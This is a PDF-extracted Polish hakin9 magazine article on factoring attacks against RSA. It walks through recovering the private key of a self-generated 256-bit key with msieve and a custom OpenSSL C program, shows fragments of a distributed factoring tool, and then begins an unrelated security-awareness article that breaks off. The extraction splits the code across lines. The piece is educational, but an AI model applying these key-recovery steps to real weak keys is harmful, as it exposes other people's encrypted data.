# Generuj parę kluczy RSA o 256
bitach
openssl genrsa -out rsa_privkey
.pem 256
cat rsa_privkey.pem
-----BEGIN RSA PRIVATE KEY-----
MIGqAgEAAiEA26dbqzGRt31qincXxy
4jjZMMOId/DVT8aTcq8aam
DiMCAwEAAQIh
AmvT1oXa/rxF3mrVLrR/RS7vK1WT
sQ5CWl/+37wztZOpAhEA+4jg
EkfalFH+0S+1
IPKD5wIRAN+NmMH4AF0B8jz
MAXHHXGUCEGRpRZnGmV

kwSlrTgqj+Zu0CEA7v7CQR
yRxt09zCGNqcYo0CEDEW7mvoz
MYYLC5o+zgfV4U=
-----END RSA PRIVATE KEY-----

Zapisujemy klucz publiczny do pliku.
Jest to klucz, który upublicznimy, by
każdy mógł wysłać do nas zaszyfro-
waną wiadomość.

# Zapisujemy klucz publiczny do

pliku

openssl rsa -in rsa_privkey.pem
-pubout -out rsa_pubkey.pem
cat rsa_pubkey.pem
-----BEGIN PUBLIC KEY-----
MdwwDQYJKoZIhvcNAQEBB
QADKwAwKAIhANunW6sxkbd
9aop3F8cuI42TDDiHfw1U
/Gk3KvGmpg4jAgMBAAE=
-----END PUBLIC KEY-----

Po wygenerowaniu pary kluczy, mo-
żemy już kodować i rozkodowywać
wiadomość, która w naszym przy-
padku będzie brzmiała:

echo "Forty-two" > plain.txt

Wiadomość możemy łatwo zaszyfro-
wać przez użycie następującej ko-
mendy i klucza publicznego:

openssl rsautl -encrypt
-pubin -inkey rsa_pubkey.pem \
-in plain.txt -out cipher.txt

W celu zdeszyfrowania wiadomości,
użyjemy klucza prywatnego:

openssl rsautl -decrypt -inkey
rsa_privkey.pem -in cipher.txt

Wiemy już, jak używać OpenSSL
z RSA, by zdeszyfrować wiadomo-
ści przy pomocy klucza prywatne-
go. Naszym celem jest zdobycie te-
go klucza bez konieczności odczyty-
wania oryginału. Innymi słowy, szu-
kamy sposobu na zdobycie klucza
prywatnego przy pomocy klucza
publicznego. Pierwszą rzeczą, jaką
musimy zrobić, jest zdobycie modu-
lo n oraz wykładnika szyfrującego.
Możemy to osiągnąć przy pomocy
następującej komendy i klucza pu-
blicznego:

Listing 1.

Konwersja liczby

hexadecymalnej do dziesiętnej

#include

<stdio.h>

#include

<openssl/bn.h>

int

main

(

int

argc

,

char

**

argv

)

{

BIGNUM

*

n

=

BN_new

();

if

(

argc

!=

2

)

{

printf

(

"%s <hex>

\n

"

,

argv

[

0

]);

return

0

;

}

if

(!

BN_hex2bn

(&

n

,

argv

[

1

]))

{

printf

(

"error:

BN_hex2bn()"

);

return

0

;

}

printf

(

"%s

\n

"

,

BN_bn2dec

(

n

));

BN_free

(

n

);

}

background image

Atak faktoryzacyjny na RSA

hakin9 Nr 4/2007

www.hakin9.org

31

openssl rsa -in rsa_pubkey.pem
-pubin -text -modulus
Modulus (256 bit):
00:db:a7:5b:ab:31:91:b7:7d:

6a:8a:77:17:c7:2e:
23:8d:93:0c:38:87:7f:0d:54:
fc:69:37:2a:f1:a6:
a6:0e:23

Exponent: 65537 (0x10001)
Modulus=DBA75BAB3191B77D
6A8A7717C72E238D930C38877
F0D54FC69372AF1A6A60E23
writing RSA key
-----BEGIN PUBLIC KEY-----
MdwwDQYJKoZIhvcNAQEBBQ
ADKwAwKAIhANunW6sxkbd9
aop3F8cuI42TDDiHfw1U
/Gk3KvGmpg4jAgMBAAE=
-----END PUBLIC KEY-----

Modulo jest reprezentowane w sys-
temie hexadecymalnym. Aby skon-
wertować je do liczby dziesiętnej,
pokażemy na Listingu 1:

gcc hex2dec.c -lssl
./a.out DBA75BAB3191B77D6
A8A7717C72E238D930C388
77F0D54FC69372AF1A6A60E23
99352209973842013949736850170
185769998267119089063339396
575567287426977500707

Po otrzymaniu modulo dziesiętnego,
sfaktoryzujemy je.

Faktoryzacja modulo n

Ponieważ liczba, którą faktoryzuje-
my, nie jest zbyt duża, wystarczy, że
użyjemy algorytmu faktoryzującego
QS. Ten algorytm jest implemento-
wany przez msieve, aplikację, którą
możemy pobrać z linka umieszczo-
nego w tabeli referencji. Msieve po-
siada dobrą dokumentację i instruk-
cję instalacji, która nie jest skompli-
kowana. Faktoryzacji liczby dokona-
my przez następującą komendę:

/msieve -v
9935220997384201394973685
01701857699982671190890633
39396575567287426977500707

Nowoczesny komputer może sfakto-
ryzować tą liczbę w ciągu około dzie-
sięciu minut. Rezultatem jest:

factor: 297153055211137492311
771648517932014693
factor: 334346924022870445836
047493827484877799

Na tym etapie, po sfaktoryzowaniu
modulo n i posiadając wykładnik szy-

Listing 2.

Klucz prywatny

#include

<stdio.h>

#include

<openssl/bn.h>

#include

<openssl/rsa.h>

#include

<openssl/engine.h>

#include

<openssl/pem.h>

int

main

(

int

argc

,

char

**

argv

)

{

RSA

*

keypair

=

RSA_new

();

BN_CTX

*

ctx

=

BN_CTX_new

();

BN_CTX_start

(

ctx

);

BIGNUM

*

n

=

BN_new

();

BIGNUM

*

d

=

BN_new

();

BIGNUM

*

e

=

BN_new

();

BIGNUM

*

p

=

BN_new

();

BIGNUM

*

q

=

BN_new

();

BIGNUM

*

dmp1

=

BN_new

();

BIGNUM

*

dmq1

=

BN_new

();

BIGNUM

*

iqmp

=

BN_new

();

BIGNUM

*

r0

=

BN_CTX_get

(

ctx

);

BIGNUM

*

r1

=

BN_CTX_get

(

ctx

);

BIGNUM

*

r2

=

BN_CTX_get

(

ctx

);

BIGNUM

*

r3

=

BN_CTX_get

(

ctx

);

if

(

argc

!=

4

)

{

printf

(

"%s [p] [q] [exp]

\n

"

,

argv

[

0

]);

return

0

;

}

BN_dec2bn

(&

p

,

argv

[

1

]);

BN_dec2bn

(&

q

,

argv

[

2

]);

BN_dec2bn

(&

e

,

argv

[

3

]);

if

(

BN_cmp

(

p

,

q

)<

0

)

{

BIGNUM

*

tmp

=

p

;

p

=

q

;

q

=

tmp

;

}

BN_mul

(

n

,

p

,

q

,

ctx

);

BN_sub

(

r1

,

p

,

BN_value_one

());

// p-1

BN_sub

(

r2

,

q

,

BN_value_one

());

// q-1/

BN_mul

(

r0

,

r1

,

r2

,

ctx

);

// (p-1)(q-1)

BN_mod_inverse

(

d

,

e

,

r0

,

ctx

);

// d

BN_mod

(

dmp1

,

d

,

r1

,

ctx

);

BN_mod

(

dmq1

,

d

,

r2

,

ctx

);

BN_mod_inverse

(

iqmp

,

q

,

p

,

ctx

);

keypair

->

n

=

n

;

keypair

->

d

=

d

;

keypair

->

e

=

e

;

keypair

->

p

=

p

;

keypair

->

q

=

q

;

keypair

->

dmq1

=

dmq1

;

keypair

->

dmp1

=

dmp1

;

keypair

->

iqmp

=

iqmp

;

PEM_write_RSAPrivateKey

(

stdout

,

keypair

,

NULL

,

NULL

,

0

,

NULL

,

NULL

);

BN_CTX_end

(

ctx

);

BN_CTX_free

(

ctx

);

RSA_free

(

keypair

);

return

0

;

}

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

32

frowania 65537 z poprzedniego kroku,
posiadamy wszystkie niezbędne dane
do otrzymania klucza prywatnego.

Otrzymywanie

klucza prywatnego

i deszyfrowanie

wiadomości

Ponieważ dostępne narzędzia, ja-
kie mogłyby nam być tu pomocne, są

trudne w obsłudze i niedostosowane
do naszych potrzeb, stworzymy wła-
sną aplikację, która wykona za nas
niezbędne procedury. Kod źródłowy
prezentujemy na Listingu nr 3.

Do wykonania obliczeń wykorzy-

staliśmy bibliotekę OpenSSL. Zmienne
typu BIGNUM są używane przez nią
do operacji na wielkich liczbach. Ma-
ją one swoje własne API do wykony-

wania takich operacji jak: dodawanie,
odejmowanie, operacje modularne itp.

Przykładowy program przypisu-

je do zmiennych typu BIGNUM para-
metry p, q i e. Analizując dalsze proce-
dury programu i komentarze dowiesz
się, jak zostaje wygenerowany klucz
prywatny. Ta sama procedura zosta-
ła wcześniej wyjaśniona z punktu wi-
dzenia teorii. W istocie, jedyna różnica
między tym testem, a prawdziwą gene-
racją polega na tym, że p i q nie są lo-
sowo wybrane. W naszym przypadku,
otrzymaliśmy je z faktoryzacji modulo.
W końcu, przy pomocy

PEM _ write _

RSAPrivateKey()

, zapisujemy klucz pry-

watny użyty w przykładzie do formatu
PEM. Jeśli prównamy wygenerowany
klucz z oryginalnym kluczem prywat-
nym, zobaczymy, że otrzymaliśmy to,
czego chcieliśmy – klucz prywatny z
klucza publicznego.

Jeśli zapiszemy nasz nowy klucz

prywatny w pliku tekstowym, np.

rsa _ hacked _ privkey.pem

, zdeszy-

frujemy wiadomość przy pomocy:

openssl rsautl -decrypt
-inkey rsa_hacked_privkey
.pem -in cipher.txt

Nowoczesne algorytmy

faktoryzujące

Algorytmy

faktoryzujące

uległy

znacznym ulepszeniom, obecnie po-
siadamy wiele szybko działających
algorytmów, jak Elliptic Curve Me-

thod (ECM), Quadratic Sieve (QS),
czy Number Field Sieve (NFS). Każ-
dy z tych algorytmów wykorzystuje in-
ne procedury do pełnej lub częściowej
faktoryzacji, w zależności od typu licz-
by faktoryzowanej. Algorytmy te nie
są skomplikowane. Są standardowo
podzielone na kolejne kroki wiodące
do pełnej faktoryzacji. QS i NFS uży-
wają sita. Zbierane są pewne relacje,
które finalnie służą do skonstruowania
układu równań, który, po rozwiązaniu,
daje oczekiwany rezultat. Krok zawie-
rający sito może być wykonywany na
kilku maszynach jednocześnie, ponie-
waż trwa on najdłużej.

W naszym przykładzie użyliśmy

aplikacji msieve, implementacji Sita
Wielokrotnych Układów Równań Wie-
lomianów (Multiple Polynomial Qu-

Listing 4.

dfact_client

...

for

(;;)

{

get_random_seeds

(&

seed1

,

&

seed2

);

switch

(

status

)

{

case

DF_CLIENT_STATUS_WAITING

:

N

=

recv_N_number

(&

rel_by_host

,

host

);

if

(!

N

)

sleep

(

DF_TIME_TO_RECV

);

else

status

=

DF_CLIENT_STATUS_RUNNING

;

break

;

case

DF_CLIENT_STATUS_RUNNING

:

{

msieve_obj

*

obj

=

NULL

;

obj

=

msieve_obj_new

(

N

,

flags

,

relations

,

NULL

,

NULL

,

seed1

,

seed2

,

rel_by_host

,

0

,

0

);

if

(

obj

==

NULL

)

{

syslog

(

LOG_ERR

,

"Factoring initialization failed"

);

free

(

N

);

return

0

;

}

msieve_run

(

obj

);

if

(

obj

)

msieve_obj_free

(

obj

);

while

(!

send_relations

(

N

,

host

,

relations

))

sleep

(

DF_TIME_TO_SEND

);

if

(

unlink

(

relations

)==-

1

)

syslog

(

LOG_ERR

,

"unlink(): %s: %s"

,

relations

,

strerror

(

errno

));

status

=

DF_CLIENT_STATUS_WAITING

;

free

(

N

);

}

break

;

default

:

break

;

}

...

Listing 3.

Zamiana klucza prywatnego w publiczny

gcc

get_priv_key

.

c

-

lssl

-

o

get_priv_key

./

get_priv_key

297153055211137492311771648517932014693

\

334346924022870445836047493827484877799

65537

-----

BEGIN

RSA

PRIVATE

KEY

-----

MIGqAgEAAiEA26dbqzGRt31qincXxy4jjZMMOId

/

DVT8aTcq8aamDiMCAwEAAQIh

AMvT1oXa

/

rxF3mrVLrR

/

RS7vK1WTsQ5CWl

/

+

37

wztZOpAhEA

+

4

jgEkfalFH

+

0

S

+

1

IPKD5wIRAN

+

NmMH4AF0B8jzMAXHHXGUCEGRpRZnGmVkwSlrTgqj

+

Zu0CEA7v7CQR

yRxt09zCGNqcYo0CEDEW7mvozMYYLC5o

+

zgfV4U

=

-----

END

RSA

PRIVATE

KEY

-----

background image

Atak faktoryzacyjny na RSA

hakin9 Nr 4/2007

www.hakin9.org

33

adratic Sieve (MPQS)), wariacji QS.
Algorytm QS jest szybszy w przypad-
ku faktoryzacji liczb o ilości cyfr mniej-
szej niż 110, jednak gdy przekraczamy
tą granicę, powinniśmy użyć NFS. Wa-
riacją NFS, używaną do faktoryzacji
dowolnego typu liczb, jest GNFS (Ge-

neral Number Field Sieve, ogólne sito
pól liczb). Nie ma wiele aplikacji dar-
mowych, implementujących GNFS,

zaś istniejące nie posiadają dobrej do-
kumentacji, lub są trudne w użyciu. Tak
przynajmniej wygląda sytuacja w chwili
pisania artykułu. Pokażemy zatem, jak
działa GGNFS, implementacja GNFS,
która mimo, że nie jest w pełni stabilna,
pozwala na faktoryzację bez zbyt wie-
lu problemów.

GGNFS składa się z zestawu na-

rzędzi, które, użyte po kolei, składają

się na pełną implementację algoryt-
mu. Dla osoby początkującej, wyko-
nanie każdego kroku z osobna mo-
że być trudne. Dlatego też GGNFS
posiada dołączony skrypt perl, któ-
ry wykonuje za nas większość pracy.
Skrypt pozwala na łatwe użycie pro-
gramu, jednak nie jest najlepszym
rozwiązaniem do wykorzystania peł-
ni możliwości, drzemiących w narzę-
dziach składających się na GGNFS.

Najprostszy sposób użycia tego

programu polega na stworzeniu pliku,
który nazwiemy test.n, zawierającego
liczbę, którą chcemy sfaktoryzować.

cat test.n
n: 1522605027922533360535
6183781326374297180681149
6138068865790849458012296
3258952897654000350692006139

Następnie uruchamiamy:

tests/factLat.pl test.n

Ta komenda sfaktoryzuje liczbę. Czas
jest zależny od posiadanego sprzętu,
jednak by użyć całej mocy GGNFS,
musimy zapomnieć o przydatnym
skrypcie factLat.pl i wgłębić się w każ-
de z narzędzi pakietu, używając ich w
określonej kolejności. Ponieważ uży-
cie GGNFS wykracza poza ramy tego
artykułu, nie opiszę go tutaj. Najlep-
szym wyjściem jest przestudiowanie
dokumentacji dołączonej do kodu źró-
dłowego oraz śledzenie forum projek-
tu. Można także w Internecie znaleźć
kilka publikacji na temat NFS, jednak
bez zaawansowanej wiedzy na temat
algebry liniowej i teorii liczb daleko nie
zajdziemy.

Zapotrzebowanie na

rozproszony atak

Klucz, sfaktoryzowany w tym przykła-
dzie, jest bardzo niewielki w porówna-
niu z długością kluczy obecnie uży-
wanych. Jeśli chcemy stworzyć klucz
RSA do użytku własnego, powinni-
śmy użyć minimalnie 1024 bity. Je-
śli potrzebujemy zwiększonego bez-
pieczeństwa, powinniśmy wygenero-
wać klucz o 2048 lub 4096 bitach. Je-
śli spróbujemy złamać taki klucz przy
pomocy domowego komputera, nie-

Listing 6.

dfact_server (process_relations)

void

process_relations

(

char

*

N

,

int

num_relations

,

int

seconds

)

{

for

(;;)

{

int

n_sieves

=

get_num_relations_in_file

(

DF_FILE_RELATIONS

);

printf

(

"relations: %d, need: %d

\n

"

,

n_sieves

,

num_relations

);

// Has enough relations?

if

(

n_sieves

>=

num_relations

)

{

printf

(

"Factoring %s

\n

"

,

N

);

kill

(

0

,

SIGUSR1

);

uint32

seed1

;

uint32

seed2

;

uint32

flags

;

flags

|=

MSIEVE_FLAG_USE_LOGFILE

;

get_random_seeds

(&

seed1

,

&

seed2

);

factor_integer

(

N

,

flags

,

DF_FILE_RELATIONS

,

NULL

,

&

seed1

,

&

seed2

);

printf

(

"Factoring Done

\n

"

);

kill

(

getppid

()

,

SIGKILL

);

exit

(

0

);

}

sleep

(

seconds

);

}

}

Listing 5.

dfact_server

...

for

(;;)

{

while

(

child_count

>=

DF_MAX_CLIENTS

)

sleep

(

1

);

sd_tmp

=

socket_server_accept

(

sd

,

client

,

sizeof

(

client

));

if

((

pid

=

fork

())==

0

)

{

close

(

sd

);

process_client

(

sd_tmp

,

N

,

num_relations

,

rel_by_host

,

client

);

}

else

if

(

pid

>

0

)

{

close

(

sd_tmp

);

child_count

++;

}

else

{

perror

(

"fork()"

);

}

close

(

sd_tmp

);

}

close

(

sd

);

...

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

34

zależnie od czasu mu danego, zaob-
serwujemy, że cały czas pracuje, zaś
wyniku wciąż nie ma. Prawda jest ta-
ka, że takiego klucza niemal nie moż-
na złamać, jednak osiągnięcia mate-
matyków i rozwój komputerów z każ-
dym dniem przybliżają nas do suk-
cesu. W szczególnych przypadkach,
możemy użyć rozproszonego ataku,
używając tysięcy maszyn jednocze-
śnie, by przyspieszyć proces fakto-
ryzacji. Istnieje wiele publikacji i ba-
dań na temat analiz możliwości prze-
prowadzania ataków na klucze o 1024
bitach (zobacz linki w ramce). W tym
momencie, jest to poza zasięgiem
znakomitej większości ludzi, lecz nie
poza zasięgiem rządów i organizacji.
Konkursy, jak wcześniej wspominany,
pomagają także ekspertom, dając im
motywację do tworzenia aplikacji po-
magających w przeprowadzaniu roz-
proszonych ataków faktoryzacyjnych
na wielkie liczby.

Rozproszony atak

W poprzednich przykładach używa-
liśmy aplikacji msieve. Jak udowod-
niliśmy, program jest prosty w obsłu-
dze i nie przysparza zbyt wielu pro-
blemów użytkownikowi. Według mnie
jest to obecnie najlepsza implementa-
cja algorytmu Quadratic Sieve (kwa-
dratowe sito). Aplikacja ta stanowi jed-
nakże niemal wersje demonstracyjną
całej biblioteki msieve, może bowiem
być użyta tylko na jednej maszynie.

W dokumentacji aplikacji jest kil-

ka wskazówek, jak użyć tej wersji z
wieloma maszynami, w celu przepro-
wadzenia ataku rozproszonego. Jest
to jednak manual, który nie przedsta-
wia zbyt wielu praktycznych proce-
dur. Napisałem więc małą aplikację,
która wykorzystuje bibliotekę msieve
do wykonania rozproszonego ataku.
Program nazywa się dfact i jest on
zamieszczony na CD dołączonym do
pisma oraz pod adresem widocznym
w ramce z odnośnikami.

Program może zostać skompilo-

wany przy pomocy make, wymaga
jedynie poprawnie zainstalowanej bi-
blioteki msieve. Ścieżka do tej biblio-
teki musi być przedstawiona w Ma-
kefile. Po skompilowaniu, otrzymamy
dwa binaria w folderze bin/, które są

klientem i serwerem. Serwer (dfs) po-
winien być uruchomiony na maszynie
z wystarczającą ilością pamięci (im
większa liczba, tym więcej potrzeba
pamięci), będzie odpowiedzialny za
dystrybuowanie obciążenia na inne
maszyny i koordynację klientów. Ser-
wer przyjmuje cztery parametry: licz-
bę, którą faktoryzujemy, liczbę relacji,
które chcemy, by klient wysyłał przy
każdej kompilacji, oraz liczbę sekund,
która będzie oddzielać kolejne spraw-
dzenia serwera, czy posiada już wy-
starczające dane od klientów, by za-
kończyć faktoryzację. W przykładzie,
klient będzie wysyłał relacje co 5000,
zaś serwer będzie weryfikował ilość
relacji co 60 sekund.

bin/dfs 9935220997384201394
973685017018576999826
711908906333939657556
7287426977500707 5000 60

Uruchomimy dmc na kilku maszy-
nach klienckich, podając jako para-
metr adres IP serwera oraz ścież-
kę do pliku tymczasowego, w któ-
rym będą zapisywane relacje. Na
przykład:

bin/dfc /tmp/rel 192.168.1.7

Aplikacja dfact została stworzona przy
użyciu biblioteki msieve. Posiada ona
program przykładowy, demo.c, któ-
ry pokazuje jej wykorzystanie w pro-
sty sposób. Analizując kod, dojdziemy
do wniosku, że nie jest wcale trudny
do zrozumienia. Na Listingu 4. widzi-
my część kodu klienta dfact. Prezen-
tujemy zasadę działania głównej pę-
tli, w której klient otrzymuje liczbę do
sfaktoryzowania od serwera, następ-
nie oblicza relacje dzięki msieve, oraz
odsyła je do serwera w celu dalszego
przetwarzania.

Zobaczmy, jak serwer obsługu-

je klientów (Listing 5). Każdy klient,
proszący o listę relacji, jest obsługi-
wany przez osobny proces

process _

client()

.

Kolejna osobna procedura zaj-

muje się przetwarzaniem relacji, któ-
re klient wysłał w określonym inter-
wale czasowym (Listing 6).

Przykładowa aplikacja pozwala na

sfaktoryzowanie liczby przy użyciu kil-
ku maszyn. Mimo, że może być ona
używana przez Internet, brak autenty-
kacji i/lub mechanizmów szyfrujących
powoduje, że nie jest zalecana. Do-
brym usprawnieniem, które poleca-
my czytelnikom jako ćwiczenie, może
być wprowadzenie SSL, podniesienie

Wyzwanie Faktoryzowania RSA (The RSA Factoring

Challenge)

• RSA-704 (30.000$) – http://www.rsasecurity.com/rsalabs/

node.asp?id=2093#RSA704;

• RSA-768 (50.000$) – http://www.rsasecurity.com/rsalabs/

node.asp?id=2093#RSA768;

• RSA-896 (75.000$) – http://www.rsasecurity.com/rsalabs/

node.asp?id=2093#RSA896;

• RSA-1024 (100.000$) – http://www.rsasecurity.com/rsalabs/node.asp?id=2093#

RSA1024;

• RSA-1536 (150.000$) – http://www.rsasecurity.com/rsalabs/node.asp?id=2093#

RSA1536;

W Sieci

• Faktoryzacja wielkich liczb – http://factorizacion.blogspot.com;
• DFACT – http://daniellerch.com/sources/projects/dfact/dfact-hakin9.tar.gz;
• Grupa Yahoo! traktująca o GGNFS – http://www.groups.yahoo.com/group/ggnfs;
• MSIEVE – Faktoryzator – http://www.boo.net/~jasonp/qs.html;
• OpenSSL – http://www.openssl.org;
• Algorytm Shor – http://es.wikipedia.org/wiki/Algoritmo_de_Shor;
• Koszt faktoryzowania RSA 1024 – http://www.wisdom.weizmann.ac.il/%7Etromer/

papers/cbtwirl.pdf;

background image

Atak faktoryzacyjny na RSA

poziomu zabezpieczeń, podnoszenie
wydajności itp...

Wspomnieliśmy wcześniej, że

GNFS jest bardziej wydajne niż MPQS
przy faktoryzowaniu liczb mających
powyżej 110 cyfr. Na obecną chwilę,
wydaje się, że nie ma dobrej imple-
mentacji o otwartym kodzie, która po-
zwalałaby na rozproszone faktoryzo-
wanie przy pomocy GNFS, jak to zrobi-
liśmy przy pomocy msieve (QS). Autor
msieve zapowiada jednak wprowadze-
nie obsługi GNFS. Jest dopiero w po-

łowie implementowania tego rozwią-
zania, jednak w niedalekiej przyszło-
ści możemy spodziewać się dobrego
narzędzia. Jeśli tak się stanie, mody-
fikacja naszego przykładowego narzę-
dzia (dfact) powinna być prosta, a wte-
dy faktoryzacja rozproszona za pomo-
cą GNFS stanie się możliwa. GGNFS
posiada możliwość wykorzystania kil-
ku maszyn w celu przeprowadzenia
faktoryzacji. Może to być przeprowa-
dzone za pomocą skryptu factLat.pl,
przedstawionego wcześniej, jednak

O Autorze

Daniel Lerch Hostalot, inżynier aplikacji C/C+ na platformach GNU/Linux, magister
w Zabezpieczeniach Sieci Bezprzewodowych z Cisco Networking Academy Program
(CCNA), Inżynier Techniczny systemów IT uhonorowany przez Uniwersytet Oberta w
Catalonii
(UOC) obecnie pracuje w sektorze telekomunikacji. Programuje w językach:
C/C++, ShellScript, Java, Perl, PHP (program modułów C).

kontakt z autorem: dlerch@gmail.com, url: http://daniellerch.com

jest to wersja bardzo niestabilna, w do-
datku działająca jedynie w sieci LAN.

Konkluzja

Liczba, która jest niemożliwa do sfak-
toryzowania dzisiaj, może być fakto-
ryzowalna jutro w ciągu kilku minut.
Wszystko zależy od innowacyjnych
pomysłów i nowych podejść do proble-
mu. 20 lat prac przy algorytmach RSA
obrazuje nam, jak bezpieczny i trudny
do złamania jest ten sposób zabezpie-
czenia.

Warto wspomnieć, że w niedale-

kiej przyszłości, tworzone kompute-
ry kwantowe będą stanowiły zagroże-
nie dla tego kryptosystemu. Opraco-
wano algorytm Shor, który pokazuje
rozwiązanie problemu z użyciem zło-
żonych wielomianów. Jego implemen-
tacja powinna pozwolić na faktoryzo-
wanie kluczy w rozsądnym zakresie
czasowym. l

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 4/2007

36

Obrona

Z

aawansowane zabezpieczenia sprzę-
towe, jak i programowe, wykorzysty-
wane w firmowych sieciach kompute-

rowych w dzisiejszych czasach, nie rozwią-
zują w pełni problemu „wycieku” wrażliwych
danych z naszej firmy. Także wdrożona w or-
ganizacji polityka bezpieczeństwa również
często niewystarczająco minimalizuje to ry-
zyko. Powodów nieskuteczności polityki bez-
pieczeństwa jest wiele, często widnieje ona
tylko na papierze i leży na półce, albo nie jest
odpowiednio wspierana przez kadrę zarzą-
dzającą. W głównej mierze jednak ważnym
powodem tego jest nieodpowiednia polity-
ka uświadamiania pracowników (użytkowni-
ków) firmy.

Przeglądając raporty renomowanych firm

badających poziom bezpieczeństwa w róż-
nych przedsiębiorstwach w Polsce i na świe-
cie zauważyć można, że największe zagroże-
nie istnieje wewnątrz przedsiębiorstwa, a więc
po stronie personelu. Zagrożenie to można po-
dzielić na dwie grupy: związane z nieumyślnym
(nieświadomym), oraz celowym działaniem
pracowników na szkodę firmy.

Budowa świadomości zagrożeń i potrzeby

ochrony firmowych danych powinna dotyczyć

każdego pracownika, bez względu na stanowi-
sko jakie pełni. Nie wolno zapomnieć tu o ad-
ministratorach sieci i kadrze zarządzającej. Nie
bez powodu istnieje opinia, że aby zdobyć istot-
ne informacje – tajemnice firmy - wystarczy do-
stać się do domowego komputera lub laptopa
Dyrektora.

W większości przypadków szkolenie ka-

dry zarządzającej jest największym pro-
blemem, ale i największym wyzwaniem dla
osoby odpowiedzialnej za bezpieczeństwo

Budowanie świadomości

usprawnia poziom

bezpieczeństwa

Adam Kuczyński

stopień trudności

Zabezpieczenia techniczne i proceduralne są bardzo istotne, ale

dopiero w połączeniu z odpowiednim przeszkoleniem i wysoką

świadomością użytkowników znacznie usprawnia się poziom

bezpieczeństwa informacyjnego w przedsiębiorstwie.

Z artykułu dowiesz się...

• istota budowania świadomości zagrożeń i

ochrony informacji

• techniki budowania świadomości
• sposoby ochrony przed manipulacją

Powinieneś wiedzieć...

• powinieneś znać techniki bezpieczeństwa infor-

macyjnego

• co to jest polityka bezpieczeństwa
• co to jest system zarządzania bezpieczeń-

stwem informacji

background image

Świadomość zagrożeń i potrzeby ochrony informacji.

hakin9 Nr 5/2007

www.hakin9.org

37

(CSO). Kadra zarządzająca jest
kluczowym elementem bezpiecznej
organizacji. Od niej zależy bardzo
wiele. Powinna aktywnie uczestni-
czyć w procesie wdrażania polityki
bezpieczeństwa, określać jej cele,
pokazać zaangażowanie, nie za-
pominać o bezpieczeństwie przy
planowaniu budżetu. Uczestniczyć
powinna również w programie bu-
dowania świadomości, wspierając
CSO. Dobra polityka uświadamia-
nia musi opierać się na wsparciu
kadry zarządzającej, gwarantuje to
bardzo dużą skuteczność, zwłasz-
cza wtedy, gdy CSO nie ma wy-
robionej jeszcze odpowiednio do-
brej pozycji w organizacji. To jest
pierwsze i kluczowe zadanie CSO
przy planowaniu i wdrażaniu po-
lityki uświadamiania personelu;
odpowiednio nastawić, uświado-
mić i uzyskać pełne wsparcie ka-
dry zarządzającej. Nie jest to za-
danie proste, szczególnie jeśli cho-
dzi o tematy związane z wydatkami
na bezpieczeństwo, ale jeśli się to
uda, to już połowa sukcesu.

Budowa świadomości pracow-

ników powinna opierać się na po-
dejściu procesowym, składającym
się z cyklicznych szkoleń i ćwi-
czeń dla użytkowników, uwzględ-
niając za każdym razem nowe za-
grożenia, sposoby ataków osób
niepowołanych i sposoby obro-
ny. W efekcie, reakcja użytkowni-
ka na zdarzenia zagrażające bez-
pieczeństwu powinna być automa-
tyczna- wytrenowana, analogicz-
nie do zawodników sportowych.
Sportowcy w trakcie treningu re-
gularnie powtarzają wielokrot-
nie te same ćwiczenia, aby póź-
niej wykonywać je automatycznie
i prawidłowo. Na podobnej zasa-
dzie powinna opierać się polity-
ka uświadamiania personelu, nie-
zbędne są więc regularne szkole-
nia, dzięki którym użytkownik uczy
się. Poznaje on polityki, procedu-
ry bezpieczeństwa oraz dowiadu-
je się, jakie istnieją zagrożenia z
zewnątrz i jak sobie z nimi radzić.
Ważne jest, aby każdy z pracow-
ników wiedział, że w każdej chwili
może stać się ofiarą ataku.

Cykl szkoleń powinien rozpo-

czynać się już przy zatrudnieniu
pracownika. Należy przy tym jed-
nak pamiętać, że pełne szkolenie z
obowiązujących zasad bezpieczeń-
stwa w pierwszych dniach pracy
użytkownika jest skuteczne mak-
symalnie pół roku. Po tym czasie
bardzo często pada pytanie: a co
to jest ta polityka bezpieczeństwa?
Natomiast po upływie roku ten sam
użytkownik nie pamięta, czy w ogó-
le uczestniczył w tego typu szkole-
niu. Jest to zauważalne szczegól-
nie w dużych przedsiębiorstwach.
Wracając do analogii sportowców,
gdzie mówi się, że treningi są sku-
teczne jeżeli są regularne, podob-
nie jest i tutaj, a więc szkolenia po-
winny odbywać się cyklicznie, ma-
jąc na uwadze fakt, aby czas mię-
dzy jednym szkoleniem a drugim
nie był zbyt długi. Jaki to czas? Za-
leżny od analizy ryzyka dla dane-
go stanowiska pracy, czy samego
przedsiębiorstwa. Jednak nie mniej
niż dwa razy w roku.

Program szkolenia powinien

omawiać wszystkie obowiązują-
ce zasady i procedury bezpieczeń-
stwa oraz zagrożenia, na które może
być narażony użytkownik. Wszystko
to poparte przykładami konkretnych
zdarzeń z pokazaniem, w jaki spo-
sób powinno się na nie reagować.

Należy zwrócić uwagę na to,

że użytkownicy pracując na co
dzień na pewnych danych nierzad-
ko uważają je za zwykłe, nikomu
z zewnątrz niepotrzebne, informa-
cje. A w rzeczywistości mogą być
to dane bardzo cenne dla konkuren-
cji lub, co gorsza, informacje, które
są prawnie chronione np. dane oso-
bowe. Wniosek nasuwa się jeden.
Każdy pracownik powinien wiedzieć
dlaczego oraz w jaki sposób musi
chronić informacje, do których ma
dostęp.

Bardzo ważne jest zidentyfi-

kowanie dla poszczególnych grup
pracowników wszystkich zagrożeń
i wszelkich możliwych sposobów
ataków w celu pozyskania naszych
informacji i przedstawienie ich na
szkoleniach. Omówienie konkret-
nych przykładów i znalezienie odpo-
wiedniej obrony znacznie dłużej po-
zostanie w świadomości użytkowni-
ków. Dobrym przykładem pokazu-
jącym, jakie mogą być skutki złego
uczenia personelu odpowiednich re-
akcji jest firma, która korzysta z out-
sourcingu środowiska IT. Z pozo-
ru wydaje się, że zagrożenia zwią-
zane z bezpieczeństwem IT są nie-
wielkie. Skoro cała infrastruktura in-
formatyczna została oddana w ręce
wyspecjalizowanej firmy zewnętrz-
nej, która zapewnia wysokie bez-

Rysunek 1.

Człowiek – najsłabsze ogniwo

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

38

pieczeństwo i niezawodność sieci
informatycznej i systemów. A więc
ryzyko zostało przeniesione na fir-
mę zewnętrzną. Zakładamy przy
tym, że każdy pracownik zna na-
zwę firmy, która obsługuje jego or-
ganizację od strony IT. Z doświad-
czenia można powiedzieć, że ok.
80% użytkowników bez wahania od-
powie na każde pytanie, włączając
